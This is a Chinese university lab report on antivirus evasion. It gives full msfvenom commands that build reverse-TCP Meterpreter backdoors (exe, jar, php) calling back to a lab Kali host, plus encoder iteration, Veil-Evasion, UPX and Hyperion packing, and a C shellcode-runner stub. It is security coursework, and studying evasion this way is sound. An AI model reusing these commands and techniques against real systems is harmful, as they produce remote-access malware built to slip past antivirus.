Exp3 免杀原理与实践 20165118
一.实验目标:
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二.基础问题回答
2.1杀软是如何检测出恶意代码的?
(1)基于特征码的检测:特征码就是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含一段数据而别的可执行文件一般不包含这段数据,则这段数据被认为是恶意代码。
(2)启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
(3)基于行为的恶意软件检测:加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
2.2免杀是做什么?
通过一些技术手段对自己的文件做处理,让它不被杀毒软件所检测
2.3免杀的基本方法有哪些?
- 改变特征码:
(1)加壳
(2)利用shellcode生成可执行文件
(3)用其他语言重写再编译
- 改变行为:
(1)通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
(2)操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
- 非常规方法
(1)使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
(2)使用社工类攻击,诱骗目标关闭AV软件。
(3)纯手工打造一个恶意软件
三.实践过程记录
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
3.1 正确使用msf编码器,生成exe文件
我的kali地址:192.168.88.133
我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
输入命令msfvenom -h
可查看msf相关用法
- 编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.88.133 LPORT=5118 -f exe > met.exe
将生成的.exe上传到那两个网站可以得到结果:
- 十次编码使用命令:
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.88.133 LPORT=5118 -f exe > met-encoded10.exe
很奇怪的是我十次编码以后反倒发现的更多了....
- msfvenom生成jar文件
使用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 x> sxx_backdoor_java.jar
检测结果如图:换个编译方式能够降低被发现的概率,但是还是有很多能发现的杀毒软件,此外还有就是把文件上传到virscan的时候因为命名里面有java,他显示文件名含有av所以不能上传...所以我把文件名进行了修改.
- msfvenom生成php文件
使用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 x> 5118_php
如图,发现的更少了。
3.2 使用veil-evasion生成后门程序及检测
安装的过程一直不成功,所以我拷贝了同学安装好的veil,即使如此,也安装了半个多小时....
安装好以后使用
veil
指令打开veil,再用use Evasion
命令进入Evil-Evasion
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面 - 设置反弹连接IP,命令为:set LHOST 192.168.88.133(此ip为虚拟机ip)
用命令
set LPORT 5118
设置端口
输入
generate
生成文件,并命名playload的名字:veil_c_5118
,找到文件位置
检测结果如图:
能够发现的还是挺多的
3.3 加壳工具
- 压缩壳
使用指令upx veil_c_5118.exe -o 5118_shellcode_upxed.exe
测试结果如下:
- 加密壳Hyperion
先将上一步生成的文件拷贝至目录/usr/share/windows-binaries/hyperion/
,并进入其中
再用wine hyperion.exe -v 5118_shellcode_upxed.exe 5118_shellcode_upxed_Hyperion.exe
测试结果如下:
结果一点也不理想
3.4 半手工注入Shellcode并执行
使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 -f c
用c语言生成一段shellcode;
将生成的shellcode粘贴到自己创建的一个c文件中,并在最后面后添加主函数:
int main() { int (*func)() = (int(*)())buf; func(); }
(vim编辑器里面复制粘贴是点击上边的编辑选项“粘贴”)再用
i686-w64-mingw32-g++ 20165118.c -o 5118_shellcode1.exe
命令生成可执行文件(我之前的.c文件没有补全所以截图里面是2016518.c)
扫描结果如下:
任务二:通过组合应用各种技术实现恶意代码免杀
我使用的方法是对半手工注入生成的20165118.exe进行加壳处理,然而很奇怪的是被查出来的更多了......还不如不组合....结果也如检测所示·,刚监听就被干掉了。
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
放弃抵抗了....没做。
四.实践总结与体会
安装veil很麻烦,杀毒软件并不是很安全,以后在网上下载资源的时候需要多注意来源的可靠性,更希望能够在将来的学习中学到更全面的防御方法.(ps:可能是自己做的太晚了,别人都成功的操作我这里都失败了,游戏体验极差)
五.开启杀软能绝对防止电脑中恶意代码吗?
事实证明并不能,我觉得自己很菜了,但是居然还有挺多杀毒软件检测不出来,如果要那些厉害的黑客去黑的话感觉杀毒软件根本防不住。